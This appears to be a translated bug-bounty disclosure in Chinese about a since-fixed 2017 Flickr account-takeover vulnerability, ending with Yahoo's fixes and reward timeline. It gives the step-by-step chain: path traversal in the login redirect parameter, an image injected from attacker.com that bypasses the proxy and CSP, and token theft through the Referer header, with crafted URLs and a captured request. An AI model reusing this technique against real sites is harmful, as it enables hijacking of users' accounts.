Flickr.com登录流程概述
Reizelman发现每次用户登录Flickr.com网站时,都会被重定向到login.yahoo.com域用于身份验证。
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/null
以上网址是Yahoo帐户登录页面,用户被提示输入他的账户密码。输入账户密码并单击登录后,如果账户密码有效,则将其重定向到以下Flickr url:
https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value }
Reizelman通过观察,如果用户已经登录到Yahoo,再点击登录链接:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/
验证的流程发生在后台,用户不需要在Yahoo域输入他的账户密码,即可完成flickr网站登录认证。
这种的验证方式可能引发其他用户的账户被黑客接管,因为用户只需点击单个链接(如在某些OAuth实现中)来进行身份验证,这样他就可以进行身份验证。熟悉了登录的流程,进行寻找是否有会被他人账户被黑客接管的风险。
通过以上的url我发现,我可以控制.done这个参数,该参数控制了登录token的发送位置,看起来雅虎只验证https://www.flickr.com/signin/yahoo/这种开头的域,但是我们仍然可以附加../所以如果我们将../../test附加到.done参数 .ys及.data的Token将被发送到https://www.flickr.com/test页面。
这给了我一个引导,假如我在ww.flickr.com找到一个重定向,我就可以把Token发送到我控制的服务器,但是无法在www.flickr.com主域找到一个重定向漏洞,所以我寻找其他的办法。
经过一番查找,我找到了这个页面:https://www.flickr.com/html.gne?tighten=0&type=comment,可以在Flickr评论页面中插入图片。我觉得也许可以在评论插入一个外链图片,Toeken将通过referer字段发送到我控制的机器上,我发表了一个评论插入了图片。
/img src=“https://attacker.com/someimage.jpg”/
该图像确实插入在评论中了,但是src值成如下连接:
https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA-~C
这实际是雅虎的代理,把用户上传图片,自己保存,通过代理的方式来加载显示,不去请求外部的服务器。但是,如果我使用一些技巧,我可以操纵Flickr图像处理逻辑。发布了以下评论:
/img src=“//www.attacker.com/someimage.jpg”/
该注释未被代理操作,并且src保持原样,按理说图片会显示在评论中,但是,有遇到一个问题了,网站使用了Content-Security-Policy(CSP),img-src属性定义了,只能从以下的网站加载图片。因为我们插入图片的网址不是白名单内的,是无法加载的。
Content-Security-Policy:img-src data: blob: https://*.flickr.com https://*.flickr.net http://*.flickr.net https://*.staticflickr.com http://*.staticflickr.com https://*.yimg.com https://*.yahoo.com https://*.cedexis.com https://*.cedexis-test.com https://*.cedexis-radar.net https://sb.scorecardresearch.com https://image.maps.api.here.com https://csync.yahooapis.com https://*.paypal.com https://*.pinterest.com http://*.static-alpha.flickr.com https://geo-um.btrll.com https://connect.facebook.net https://*.facebook.com https://bs.serving-sys.com https://*.adserver.yahoo.com https://*.maps.api.here.com https://*.maps.cit.api.here.com https://*.ads.yahoo.com https://secure.footprint.net
知道这一点后,我尝试在其他页面寻找可评论的地方,过了一段时间,找到了一个论坛页面,www.flickr.com/help/forum/en-us/。这个页面支持HTML代码插入功能的评论,更爽的是https://www.flickr.com/help/forum/*这个网站都没用使用CSP。
/ img src =“ / / www.attacker.com/someimage.jpg”/
一个外部的图片被插入到这里:
https://www.flickr.com/help/forum/en-us/72157668446997150/page14/
所以我现在要做的就是构造最终的url,如下:
https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https://www.flickr.com/signin/yahoo/../ ../help/forum/en-us/72157668446997150/page14/
当用户点击链接时他被重定向到https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second -token},在这个请求中,他向浏览器发出来了如下的请求。
GET https://www.attacker.com/someimage.jpg HTTP/1.1 Host: www.attacker.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Accept: image/webp,image/*,*/*;q=0.8 Referer: https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-token}&.ys={second-token} Accept-Encoding: gzip, deflate, sdch, br Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.
可以看到Referer字段的含有.data={some-token}&.ys={second-token},将要发送到指定的网址,而这个网站是我们控制的,可以拿到Rerferer信息。
攻击者通过referer拿到token之后,构造攻击url,如下
https://www.flickr.com/signin/yahoo/?.data={copied from refferer}&。ys = {replied referer
即可登录到受害者的账户。
修复
雅虎通过以下的办法来解决这个漏洞。
1. login.yahoo.com端点上的.done参数仅允许https://www.flickr.com/signin/yahoo/作为有效值。
2.使用“/ / ”的插入的图片也是固定的。
3.现在CSP应用于Flickr论坛。
修复时间线
2017年4月2日 – 通过Hackerone的初步报告
2017年4月3日 – 报告举报
2017年4月10日 – 报告已解决
2017年4月21日 – 7K $奖赏奖励